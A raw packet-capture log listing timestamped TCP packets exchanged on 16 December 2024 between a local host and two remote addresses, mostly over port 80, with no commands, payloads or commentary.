Dec 16, 2024 21:02:33.796960115 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.797024965 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.797753096 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.797812939 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.797898054 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.798039913 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.798804045 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.798862934 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.799021006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.799063921 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.799803019 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.799860001 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.799860954 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.799905062 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.800769091 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.800820112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.800905943 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.800955057 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.801847935 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.801901102 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.801985025 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.802032948 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.802792072 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.803006887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.803059101 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.803137064 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.803894043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.804007053 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.804023981 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.804068089 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.804883957 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.804925919 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.804981947 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.805036068 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.805810928 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.805906057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.806406975 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.806896925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.806946039 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.807037115 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.807082891 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.807924986 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.807941914 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.807976961 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.807976961 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.808957100 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.809007883 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.809115887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.809166908 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.809905052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.809957027 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.809983015 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.810028076 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.810868979 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.810925007 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.810983896 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.811091900 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.811861992 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.812159061 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.812192917 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.812227011 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.812973976 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.813019037 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.813075066 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.813143969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.813885927 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.813929081 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.813986063 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.814040899 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.814958096 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.815009117 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.815057993 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.815207005 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.815993071 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.816020012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.816051006 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.816083908 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.816937923 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.816984892 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.817065954 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.817118883 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.818007946 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.818025112 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.818049908 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.818167925 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.819453001 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.819473028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.819499016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.819530964 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.820317984 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.820496082 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.820544958 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.821130037 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.821181059 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.821237087 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.821296930 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.822221994 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.822238922 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.822287083 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.822983027 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.823035002 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.823115110 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.823190928 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.823961973 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.824012041 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.824103117 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.824306011 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.825148106 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.825205088 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.825272083 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.825413942 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.826023102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.826087952 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.826121092 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.826121092 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.827032089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.827225924 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.827249050 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.827311039 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.828073978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.828102112 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.828149080 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.829052925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.829219103 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.829263926 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.830159903 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.830204964 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.830256939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.830300093 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.831088066 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.831211090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.831338882 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.831404924 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.832068920 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.832120895 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.832214117 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.832309961 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.833072901 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.833136082 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.833209038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.833585978 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.834150076 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.834217072 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.834225893 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.834265947 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.835306883 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.835405111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.835450888 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.836141109 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.836190939 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.941804886 CET	49818	443	192.168.2.4	147.75.80.220
Dec 16, 2024 21:02:33.941859007 CET	443	49818	147.75.80.220	192.168.2.4
Dec 16, 2024 21:02:33.941982031 CET	443	49818	147.75.80.220	192.168.2.4
Dec 16, 2024 21:02:33.985215902 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.985240936 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.985302925 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.985507011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.985558033 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.985764027 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.985816002 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.986471891 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.986530066 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.986586094 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.986969948 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.987437010 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.987483025 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.987669945 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.987740040 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.988605976 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.988622904 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.988665104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.988698006 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.989573002 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.989708900 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.989767075 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.990537882 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.990600109 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.990679026 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.990729094 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.991539955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.991600990 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.991808891 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.991864920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.992491007 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.992556095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.992566109 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.992609978 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.993568897 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.993762970 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.993793964 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.993827105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.994518995 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.994607925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.994653940 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.995587111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.995604038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.995640993 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.995641947 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.996509075 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.996587038 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.996623993 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.996767998 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.997579098 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.997596979 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.997622013 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.997654915 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.998564959 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.998617887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.998711109 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.998755932 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.999607086 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.999655962 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.999726057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.999773979 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.000507116 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.000668049 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.000674009 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.000713110 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.001540899 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.001585960 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.001748085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.001863956 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.002530098 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.002579927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.002691984 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.002748966 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.004220009 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.004245996 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.004272938 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.004306078 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.004726887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.004779100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.004868984 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.005101919 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.005620003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.005665064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.005711079 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.006643057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.006688118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.006781101 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.006823063 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.007611036 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.007654905 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.007709026 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.007754087 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.008744955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.008766890 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.008797884 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.008831024 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.009668112 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.009715080 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.009780884 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.009864092 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.010952950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.010973930 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.011007071 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.011007071 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.011648893 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.011719942 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.011775970 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.012789011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.012809992 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.012857914 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.012890100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.013675928 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.013921022 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.013978958 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.014617920 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.014678001 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.014776945 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.014823914 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.015629053 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.015696049 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.015769005 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.015816927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.016676903 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.016747952 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.016761065 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.016858101 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.017740011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.017760038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.017823935 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.018691063 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.018759012 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.018841028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.018892050 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.019772053 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.019793034 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.019840956 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.020817041 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.020875931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.021003008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.021053076 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.021816969 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.021867990 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.021907091 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.021955967 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.022723913 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.022816896 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.022870064 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.023839951 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.023859978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.023910046 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.023941994 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.024728060 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.024842978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.024895906 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.025897980 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.025918961 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.025978088 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.026842117 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.026863098 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.026913881 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.026913881 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.027765036 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.027829885 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.027910948 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.027961969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.028867006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.028887987 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.028942108 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.029774904 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.029834032 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.029844999 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.029907942 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.030796051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.030961990 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.030963898 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.031004906 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.031855106 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.031873941 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.031959057 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.031959057 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.032780886 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.032835007 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.032849073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.032891989 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.033961058 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.033982038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.034020901 CET	49812	80	192.168.2.4	31.41.244.11
